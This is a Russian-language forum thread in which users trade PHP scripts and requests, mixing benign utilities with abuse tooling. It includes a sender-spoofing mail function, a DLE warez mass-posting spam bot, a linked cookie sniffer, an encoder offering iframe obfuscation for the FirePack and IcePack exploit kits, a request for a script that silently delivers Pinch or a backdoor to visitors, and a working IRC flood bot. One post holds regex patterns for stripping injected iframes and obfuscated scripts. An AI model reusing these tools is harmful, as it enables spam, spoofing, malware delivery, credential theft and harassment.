PHP Unzipper v1.1 PHP Unzipper v1.1 Часто, нужно кидать через ftp на сервек кучу маленьких файлов, что забирает много времени, плюс обрывы соеденения и т.д. На много удобнее разархивировать zip-файл на сервере с помощью php!!! скачать скрипт
Sypex Dumper Lite Sypex Dumper Lite - PHP скрипт, с помощью которого можно просто и быстро создать резервную копию (бэкап, дамп) базы данных. скачать скрипт
Webproxy glype-0.5.3.1 Что такое Glype Proxy? Glype Proxy - PHP прокси сервер, который подобно PHProxy позволяет обходить внутрисетевые ограничения путем использования внешнего веб-сервера. Glype Proxy обладает улучшенной поддержкой JavaScript, фильтром для блокировки как определенных веб-сайтов, так и адресов с заданными ключевыми словами, еще одной полезной функцией Glype Proxy является встроенная система кэширования, которая экономит ресурсы сервера, тем самым повышает производительность веб-сайта при малых потреблениях ресурсов системы, даже при работе с видео, аудио и flash. Упрощенная установка скрипта на веб-сервер позволит без знания PHP уже после загрузки на сервер начать использование Glype Proxy, а поддержка "тем" оформления обеспечит возможность быстрого выбора веб-дизайна для веб-прокси. @@@@@@@@@@@@@@@@@@@@@ нашол у себя на диске думаю пригодится http://slil.ru/25805320
web-defence-ifr. ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день st_load_1.1 - статистика загрузок по странам за день и за все время... http://www.web-defence.ru/ifr 1.1.rar http://www.web-defence.ru/t_load_1.1.rar
скиньте кто-то пожалуйста скрипт для отпрвки мыла с подменой адреса на пхп те что указывались ранее не работают сорри за флуд
PHP: function send_email($email) // Функция отправки письма { $header='From: <[email protected]>'; $subject="=?windows-1251?b?".base64_encode("название темы")."?="; $msg="текст сообщения (строка1)\r\n (строка1)\r\n (строка...)\r\n (строкаN)\r\n"; return mail($email, $subject, $msg, $header); }
Warning: fread(): supplied argument is not a valid stream resource in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 27 Warning: array_unique() [function.array-unique]: The argument should be an array in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 47 Рассылка завершена! Отправлено : 0 Ошибок связи: 0 Плохих email: 0
Для тех кто зарабатывает на дипозите Скрипт для массового добавления новостей на сайты сделанные на движке DLE: index.php PHP: <?php set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); echo '<title>DLE News Adder Modification QJokeR</title><body bgcolor=ffff99><font size="6"> <font color="#333399">Сайт Для Добавления Новостей QJokeR<a href="?admin">(сайты)</a></font></font><hr><center>'; function lower($text){ return strtolower(strtr($text,'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ','абвгдеёжзийклмнопрстуфхцчшщьыъэюя')); } function getcat($text,$find){ if (!$find){ return 0; } $temp=substr($text,0,strpos(lower($text), lower($find)."</option>")); if ($temp){ $cat=substr($temp,strrpos($temp, '="')+2,2); if (!preg_match('/^[0-9]+$/i', $cat)) {return substr($cat,0,1);} return $cat; } } function senddata($post,$host,$cook,$pic){ $data="$post\r\n\r\n"; @$fp= fsockopen($host,80,$err,$errs,50); if (!$fp) {echo "<b>$host недоступен!</b><br>";return(1);} $out= "POST /"; if ($pic==2) {$out.="transload.php";} else {$out.="?do=addnews";} $out.=" HTTP/1.1\r\nHost: $host\r\nCookie: $cook\r\n". "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ". strlen($data)."\r\nConnection: close\r\n\r\n$data\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)){ $line .= fread($fp, 1024); } fclose($fp); return $line; } function sendnews($host,$mode,$how){ global $img, $title; $date=time(); $logfile=date("d_m_y",$date); $logfile.=".txt"; $fplog = fopen($logfile, "a"); fputs ($fplog, $title."\n"); $line=senddata('login_name='.$_POST['login'].'&login_password='.$_POST['pass'].'&login=submit&image.x=0&image.y',$host,0,0); if ($line!=1) { if (strpos($line,'К сожалению у вас нет прав для публикации новостей')){ $messege1="Новость НЕ добавлена на $host !"; echo "<b>".$messege1."</b><br>"; fputs ($fplog, $messege1."\n"); return(1); } preg_match("|dle_hash=([\d\w]+);|i",$line,$try); $cat=getcat($line,$_POST['find']); if (!$cat) {$cat=getcat($line,$_POST['find2']);} if (!$cat) {$cat=getcat($line,$_POST['find3']);} if (!$cat) {$cat=getcat($line,$_POST['find4']);} if (!$cat) {$cat=getcat($line,$_POST['find5']);} if (!$cat) {$cat=getcat($line,$_POST['find6']);} if (!$cat) {$cat=getcat($line,$_POST['find7']);} if (!$cat) {$cat=getcat($line,$_POST['find8']);} if (!$cat) {$cat=getcat($line,$_POST['find9']);} if (!$cat) {$cat=getcat($line,$_POST['find10']);} if (!$cat) {$cat=1;} if (!$img) { $story=$_POST['story']; }else{ $story="[center][img]".$img."[/img][/center]\r\n\r\n".$_POST['story']; } $url="".$_POST['link'].""; $send="mod=addnews&catlist[]=$cat&title=".$_POST['title']."&short_story=$story&full_story="; if (!$mode) { $send.="$story\r\n\r\n"; } if ($_POST['link']) { if (!$how) { $send.="".$url."<br><br>"; }else{ $send.="".$url."<br><br>"; } } $url="[center][url=".$_POST['link2']."][b]Скачать[/b][/url][/center]"; if ($_POST['link2']){ if (!$how) {$send.="[hide]".$url."[/hide]<br>"; }else{ $send.="[quote]".$url."[/quote]<br>";} } $url="[center][url=".$_POST['link3']."][b]Зеркало №1[/b][/url][/center]"; if ($_POST['link3']){ if (!$how){ $send.="[hide]".$url."[/hide]<br>"; }else{ $send.="[quote]".$url."[/quote]<br>"; } } $url="[center][url=".$_POST['link4']."][b]Зеркало №2[/b][/url][/center]"; if ($_POST['link4']){ if (!$how){ $send.="[hide]".$url."[/hide]<br>"; }else{ $send.="[quote]".$url."[/quote]<br>"; } } $url="[center][url=".$_POST['link5']."]Зеркало №3[/url][/center]"; if ($_POST['link5']){ if (!$how){ $send.="[hide]".$url."[/hide]"; }else{ $send.="[quote]".$url."[/quote]"; } } $url="[center][url=".$_POST['link6']."]Зеркало №4[/url][/center]"; if ($_POST['link6']){ if (!$how){ $send.="[hide]".$url."[/hide]"; }else{ $send.="[quote]".$url."[/quote]"; } } $url="[center][url=".$_POST['link7']."]Зеркало №5[/url][/center]"; if ($_POST['link7']){ if (!$how){ $send.="[hide]".$url."[/hide]"; }else{ $send.="[quote]".$url."[/quote]"; } } $send.='&allow_comm='.$_POST['allow_comm'].'&allow_main='.$_POST['allow_main'].'&approve='.$_POST['approve']. '&allow_rating='.$_POST['allow_rating'].'&news_fixed='.$_POST['news_fixed']; $line=senddata($send,$host,"dle_password=".md5($_POST['pass'])."; member_password=".md5($_POST['pass']). "; dle_name=".$_POST['login']."; member_name=".$_POST['login']."; dle_hash=$try[1]",0); if (isset($_GET['debug'])){ echo $line; } if (strpos($line,'Ваша новость была успешно добавлена')){ $messege2="Новость успешно добавлена на $host"; echo $messege2; fputs ($fplog, $messege2."\n"); if ($cat==1){ echo " (Категория по умолчанию)"; } echo "!<br>"; } } fclose ($fplog); } if (isset($_POST['text'])){ $w=fopen('sites.php','w'); fwrite($w,stripslashes($_POST['text'])); die ('Сохранено!'); } if (isset($_GET['admin'])){ $w=fopen('sites.php','r'); die ('<form method=post> <textarea name=text cols=70 rows=24>'.htmlspecialchars(fread($w,filesize('sites.php'))).'</textarea><br> <input type=submit value=Отправить>'); } if ($_POST['title'] && $_POST['story'] && $_POST['pass'] && $_POST['login']) { $img=$_POST['pic']; $title=$_POST['title']; if ($_POST['imgsh'] && $_POST['pic']){ $img=senddata("url=".$_POST['pic']."&MAX_FILE_SIZE=13145728&optsize=320x320&uploadtype=on&optimage=1", "imageshack.us",0,2); $img=strstr(strstr($img,'image to friends'),'http:'); $img=substr($img,0,strpos($img,'"/>')); if ($img){ echo "Картинка залита на ImageShack.us! Ссылка - $img<br><br>"; }else{ $img=$_POST['pic']; } } include('sites.php'); exit; } echo ' <form method=post> Логин \ Пароль:<br><input type="text" name="login" > <input type="password" name="pass" ><br> Заголовок:<br><input type="text" name="title"><br> Категория:<br><input type="text" name="find" value="софт"> или <input type="text" name="find2" value="software"> или <input type="text" name="find3" value="warez"> или <input type="text" name="find4" value="программы"> или <input type="text" name="find5" value="soft"> или <input type="text" name="find6" value="софтик"> или <input type="text" name="find7" value="разное"> или <input type="text" name="find8" value="варез"> или <input type="text" name="find9" value="Софт / Soft"> или <input type="text" name="find10" value="новости"><br>Картинка:<br> <input type="checkbox" name="imgsh" value="1" unchecked> На ImageShack.us<br> <input type="text" name="pic" size=45><br>Новость:<br><textarea name="story" cols=65 rows=12> <br>Информация о Софте [b]Название[/b]: Vista Optimizer 4.4.17 [b]Категория[/b]: Софт [b]Год выпуска[/b]: 2008 [b]Размер файла[/b]: 5,15 МБ Кол-во партов: 1 [b]Залито на[/b]: DepositFiles | letitbit | Vip-file</textarea> <br>Продолжение Новости:<br><textarea name="link" cols=65 rows=12></textarea> <br>Ссылка:<br><input type="text" name="link2" size=60><br> <br>Ссылка:<br><input type="text" name="link3" size=60><br> <br>Ссылка:<br><input type="text" name="link4" size=60><br> <br>Ссылка:<br><input type="text" name="link5" size=60><br> <br>Ссылка:<br><input type="text" name="link6" size=60><br> <br>Ссылка:<br><input type="text" name="link7" size=60><br> <input type="checkbox" name="allow_comm" value="1" checked> Разрешить комментарии<br> <input type="checkbox" name="allow_main" value="1" checked> Публиковать на главной<br> <input type="checkbox" name="approve" value="1" checked> Опубликовать новость на сайте<br> <input type="checkbox" name="allow_rating" value="1" checked> Разрешить рейтинг<br> <input type="checkbox" name="news_fixed" value="1"> Зафиксировать новость<br><br> <input type=submit value=Отправить> </form>'; sites.php PHP: <?php ////////// Пример : // sendnews('Сюда пишем хост(без http://)',0 если в строке // "полная новость" нада цитировать сообщение из короткой новости, а 1 // если не нада,0 и ссылки закрываются [hide] или 1 и [quote]); // sendnews ('1-warez.org',0,1); sendnews ('13mb.ru',0,1); sendnews ('1lv.lv',0,1); sendnews ('4ort.net.ru',0,1); sendnews ('afil.ru',0,1); sendnews ('allbest4free.ru',0,1); sendnews ('allwarez.net',0,1); sendnews ('apelsinoff.net',0,1); ?> QJokeR (c)
Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie. PHP: function get_ret_cookie($res) { preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook); if(!isset($cook[1])) return ''; $cookies=implode('; ',array_unique($cook[1])); return $cookies; } PS. NOmeR1, спасибо за совет)
Коментируем не нужный ифреймы( те что width height =1,0) и некоторые с обфускачией с покоцаных сайтов: PHP: function remove_kod($file){ if(empty($file){ $text=file_get_contents($file); $patern[0]="<iframe(.*)WIDTH=(\"|')(1|0|00)((\"|'))(.*)HEIGHT=((\"|'))(1|0|00)((\"|'))(.*)>(.*)</iframe>"; $patern[9]="<iframe(.*)WIDTH=(1|0|00)(.*)HEIGHT=(1|0|00)(.*)>(.*)</iframe>"; $patern[1]="<--oc65-->(.*)<--oc65-->"; $patern[2]="<-- ~ -->(.*)<-- ~ -->"; $patern[3]="<script(.*)>eval\(unescape(.*)\)</script>"; $patern[4]="<script(.*)>document.write\(unescape(.*)\)</script>"; $patern[5]="<script(.*)>(.*)(\n)*(.*)document.write\(String.fromCharCode\(Math.round\((.*)\)\)\)(.*)</script>"; $patern[6]="<script(.*)>((\n)*.*)(\n)?document.write\((.*)\.join\((.*)\)\)(.*)</script>"; $patern[8]="<script(.*)>document.write\(eval\(unescape(.*)\)\)(.*)</script>"; $out =$text; foreach($patern as $keys){ $out= preg_replace_callback("#($keys)#i", create_function('$matches','return "<!---- $matches[0] --->";'),$out);} return $out;}}
Работаем с Keep-alive и HTTP/1.1 Написал класс для работы с http. Поддерживает keep-alive и close соединение и корректно обрабатывает данные, полученные по HTTP/1.1 с Transfer-Encoding: chunked. HTTP/1.0 также работает. Требуется поддержка функций socket_***. Код класса с комментариями: PHP: <?php /* WEBsock class by DX */ class websock { /*все переменные private*/ var $sock; var $connection=0; var $keepalive=300; var $request=''; var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0'; var $proto='1.0'; var $addr=''; var $success=0; /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/ function websock($addr,$port=80) { if(!function_exists('socket_create')) return; $this->addr=$addr; if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr)) $addr=gethostbyname($addr); if(!$addr) return; $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); if(!$this->sock) return; if(!socket_connect($this->sock,$addr,$port)) return; if(!socket_set_nonblock($this->sock)) return; $this->success=1; } /*** Проверка успешности создания сокета и подключения к нему. ***/ function check_success() { return $this->success; } /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/ function swrite($data='') { if(!$data) $data=$this->request; if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1) return false; return socket_write($this->sock,$data); } /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/ function sread($bytes) { if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1) return false; return socket_read($this->sock,$bytes); } /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/ function sreadfull($stepbytes=128) { $reading=''; while(($ret=$this->sread($stepbytes))!='') { $reading.=$ret; } $reading=$this->get_content_headers($reading); return $reading; } /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/ function set_connection($conn=0,$keepalive=300) { $this->connection=$conn==0 ? 0 : 1; $this->keepalive=$keepalive; } function set_proto($proto='1.0') //set 1.0 or 1.1 { $this->proto=$proto; } /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/ function http11read($stepbytes=128) { $c=$this->sreadfull($stepbytes); if(strpos($c[0],'Transfer-Encoding: chunked')!==false) return array($c[0],$this->remove_lengths($c[1])); else return $c; } /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/ /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/ function get_cookie($header,$ret=0) { preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook); if(!isset($cook[1])) return $ret==0 ? '' : array(); $carr=array_unique($cook[1]); $cookies=implode('; ',$carr); return $ret==0 ? $cookies : $carr; } /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/ function remove_lengths($res) { $len=1; $nlen=0; $curlen=0; $ret=''; $tmp=explode("\r\n",$res); foreach($tmp as $line) { if($len==1) { if($line=="\r\n") { $ret.=$line."\r\n"; continue; } $nlen=base_convert($line,16,10); if($nlen==0) continue; $len=0; $curlen=0; continue; } $curlen+=strlen($line."\r\n"); $ret.=$line."\r\n"; if($curlen>=$nlen) { $len=1; continue; } } return $ret; } /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/ function get_content_headers($res) { $ret=explode("\r\n\r\n",$res,2); return $ret; } /*** Устанавливает виртуальный браузер. ***/ function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0') { $this->browser=$browser; } /*** Формирует заголовки для записи в сокет. ***/ /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/ /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/ /*** $data - передаваемые скрипту данные (только для POST) ***/ /*** $method - GET/POST и т.д. ***/ /*** $cookie - cookies в виде строки ***/ /*** $ref - Referer ***/ /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/ /*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/ function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='') { if(!$page) $page=$this->addr; $request="$method $service_uri HTTP/{$this->proto}\r\n"; $request.="Host: $page\r\n"; if($this->browser) $request.="User-Agent: {$this->browser}\r\n"; if($ref) $request.="Referer: $ref\r\n"; if($method=='POST') { $request.="Content-Type: application/x-www-form-urlencoded\r\n"; $request.="Content-Length: ".strlen($data)."\r\n"; } if($this->connection==0) { $request.="Connection: close\r\n"; } else { $request.="Keep-alive: {$this->keepalive}\r\n"; $request.="Connection: keep-alive\r\n"; } if($addheaders) $request.=$addheaders; if($cookie) $request.="Cookie: $cookie\r\n"; $request.="\r\n"; $request.=$data; $this->request=$request; return $request; } /*** Закрывает соединение ***/ function sclose() { return socket_close($this->sock); } /*** Возвращает последнюю ошибку работы с сокетами. ***/ function serr() { return socket_last_error($this->sock); } } ?> Пример работы с классом: PHP: <?php /* скрипт получает страницу http://mail.ru через HTTP/1.1 и Connection: keep-alive. */ require_once("websock.php"); //подключение файла с классом $s=new websock('mail.ru',80); //создание нового сокета: http://mail.ru:80 $s->set_connection(1,300); //keep-alive: 300 $s->set_proto('1.1'); //HTTP 1.1 $s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://mail.ru/) $s->swrite(); //пишем его в сокет $ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое. print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое $s->sclose(); //закрываем соединение ?>
Обновил класс из предыдущего поста, теперь можно удобно работать с прокси. Код класса: PHP: <?php /* WEBsock class by DX */ class websock { /*все переменные private*/ var $sock; var $connection=0; var $keepalive=300; var $request=''; var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0'; var $proto='1.0'; var $addr=''; var $success=0; var $proxy=''; var $pport=0; var $port=0; var $s_addr=''; var $s_port=0; /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/ function websock($addr,$port=80) { if(!function_exists('socket_create')) return; $this->addr=$addr; $this->s_addr=$addr; $this->s_port=$port; if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr)) $addr=gethostbyname($addr); if(!$addr) return; $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); if(!$this->sock) return; $this->success=1; } /*** Подключает сокет (через прокси или напрямую). ***/ function sconnect() { if($this->proxy) { if(!socket_connect($this->sock,$this->proxy,$this->pport)) return; } else { if(!socket_connect($this->sock,$this->s_addr,$this->s_port)) return; } if(!socket_set_nonblock($this->sock)) return; } /*** Устанавливает прокси с ip $addr и портом $port. ***/ function set_proxy($addr,$port) { $this->proxy=$addr; $this->pport=$port; } /*** Проверка успешности создания сокета и подключения к нему. ***/ function check_success() { return $this->success; } /*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/ function swrite($data='') { if(!$data) $data=$this->request; if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1) return false; return socket_write($this->sock,$data); } /*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/ function sread($bytes) { if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1) return false; return socket_read($this->sock,$bytes); } /*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/ function sreadfull($stepbytes=128) { $reading=''; while(($ret=$this->sread($stepbytes))!='') { $reading.=$ret; } $reading=$this->get_content_headers($reading); return $reading; } /*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/ function set_connection($conn=0,$keepalive=300) { $this->connection=$conn==0 ? 0 : 1; $this->keepalive=$keepalive; } function set_proto($proto='1.0') //set 1.0 or 1.1 { $this->proto=$proto; } /*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/ function http11read($stepbytes=128) { $c=$this->sreadfull($stepbytes); if(strpos($c[0],'Transfer-Encoding: chunked')!==false) return array($c[0],$this->remove_lengths($c[1])); else return $c; } /*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/ /*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/ function get_cookie($header,$ret=0) { preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook); if(!isset($cook[1])) return $ret==0 ? '' : array(); $carr=array_unique($cook[1]); $cookies=implode('; ',$carr); return $ret==0 ? $cookies : $carr; } /*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/ function remove_lengths($res) { $len=1; $nlen=0; $curlen=0; $ret=''; $tmp=explode("\r\n",$res); foreach($tmp as $line) { if($len==1) { if($line=="\r\n") { $ret.=$line."\r\n"; continue; } $nlen=base_convert($line,16,10); if($nlen==0) continue; $len=0; $curlen=0; continue; } $curlen+=strlen($line."\r\n"); $ret.=$line."\r\n"; if($curlen>=$nlen) { $len=1; continue; } } return $ret; } /*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/ function get_content_headers($res) { $ret=explode("\r\n\r\n",$res,2); return $ret; } /*** Устанавливает виртуальный браузер. ***/ function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0') { $this->browser=$browser; } /*** Формирует заголовки для записи в сокет. ***/ /*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/ /*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/ /*** $data - передаваемые скрипту данные (только для POST) ***/ /*** $method - GET/POST и т.д. ***/ /*** $cookie - cookies в виде строки ***/ /*** $ref - Referer ***/ /*** $addheaders - дополнительные заголовки, которые мы хотим установить ***/ /*** Возвращает запрос и устанавливает его как запрос по умолчанию. ***/ function get_header($service_uri,$page='',$data='',$method='GET',$cookie='',$ref='',$addheaders='') { if(!$page) $page=$this->addr; if($this->proxy) $request="$method http://{$this->s_addr}:{$this->s_port} HTTP/{$this->proto}\r\n"; else $request="$method $service_uri HTTP/{$this->proto}\r\n"; $request.="Host: $page\r\n"; if($this->browser) $request.="User-Agent: {$this->browser}\r\n"; if($ref) $request.="Referer: $ref\r\n"; if($method=='POST') { $request.="Content-Type: application/x-www-form-urlencoded\r\n"; $request.="Content-Length: ".strlen($data)."\r\n"; } if($this->connection==0) { $request.="Connection: close\r\n"; } else { $request.="Keep-alive: {$this->keepalive}\r\n"; $request.="Connection: keep-alive\r\n"; } if($addheaders) $request.=$addheaders; if($cookie) $request.="Cookie: $cookie\r\n"; $request.="\r\n"; $request.=$data; $this->request=$request; return $request; } /*** Закрывает соединение ***/ function sclose() { return socket_close($this->sock); } /*** Возвращает последнюю ошибку работы с сокетами. ***/ function serr() { return socket_last_error($this->sock); } } ?> Пример получения страницы через прокси: PHP: <?php /* скрипт получает страницу http://myip.ru через HTTP/1.1 и Connection: keep-alive, используя прокси */ require_once("websock.php"); //подключение файла с классом $s=new websock('myip.ru',80); //создание нового сокета: http://myip.ru:80 //впишите здесь рабочий прокси $s->set_proxy('203.162.2.139','80'); //устанавливаем адрес прокси-сервера и порт (можно убрать эту строку, тогда прокси не будет использоваться) $s->sconnect(); //подключаем сокет $s->set_connection(1,300); //keep-alive: 300 $s->set_proto('1.1'); //HTTP 1.1 $s->get_header('/'); //формируем заголовок для запроса к серверу (получаем корень http://myip.ru/) $s->swrite(); //пишем его в сокет $ret=$s->http11read(); //универсальная функция чтения из сокета, неважно, какие заданы параметры подключения. Читаем всё возвращённое содержимое. print $ret[1]; //$ret[0] - заголовки, $ret[1] - содержимое $s->sclose(); //закрываем соединение ?>
Небольшой сниффер куков: http://rapidshare.com/files/119211590/sniffer.rar Простенький скрипт для кодирования-декодирования { Base64 Encode Base64 Decode URL Encode URL Decode MD5 Encode SHA1 Encode ASCII -> HEX HEX -> ASCII ASCII -> String.fromCharCode() String.fromCharCode() -> ASCII ASCII -> chr() chr() -> ASCII ASCII -> DEC DEC -> ASCII RUS -> Translit ASCII -> Bin Bin -> ASCII ASCII -> 0xHEX StrLength CRC32 calc URL -> iFrame (Level 0) IFrame crupt (Level 2 [FirePack 0.18]) IFrame crupt (Level 2 [IcePack]) IFrame crupt (Level 3 [IcePack]) IFrame crupt [TORNADO Crupt] /etc/passwd -> login;login } Делал каг панельку для оперы, поэтому style="width:100%" http://rapidshare.com/files/119213017/www.rar
Кто небудь выложите скрипт ( php ) при помщи которого можно произвести анонимную загрузку фаила! Или кто может подправте мой! <?php $ref=$_SERVER['QUERY_STRING']; if ($ref!='') $ref='?'.$ref; header('Location: http://*********.$ref); exit(); Этот скрипт грузит но толко выскакивает окно (dowlad или скачать) Помогите усовершенствовать этот скрипт чтоб пройдя по сылке человек даже не заподозрил что он что-то скачал и запустил например Пинч или какой небудь BackDoor! Или выложите пожалуста свой! Зарание Спасибо!
Irc фулд бот... PHP: <? set_time_limit(0); $botname="Boot2Flood"; //ниг бота $channel="#123"; //chanell $address="localhost"; //irc server $port="6667"; //port $pass=""; //пасс но он тут врятле пригодиццо $hellomsg="ВЫПЕЙ иаДУ :\\"; //флудо месага $baduser="#123"; //это нехароший канал или юзверь $s=fsockopen($address, $port) or die("FATAL: Cannot connect to $address:$port"); fputs($s, "USER bot no no :$botname\r\n"); fputs($s, "NICK :$botname\r\n"); fputs($s, "IDENTIFY :$pass\r\n"); fputs($s, "JOIN $channel\r\n"); fputs($s, "PRIVMSG $channel :".chr(1)."ACTION педоратор $baduser детектед преступаю к флудерастенгу!".chr(1)."\r\n"); while(true){ fputs($s, "PRIVMSG $baduser :".chr(1)."ACTION $hellomsg".chr(1)."\r\n"); //цикл с флудом =) sleep(1); } ?>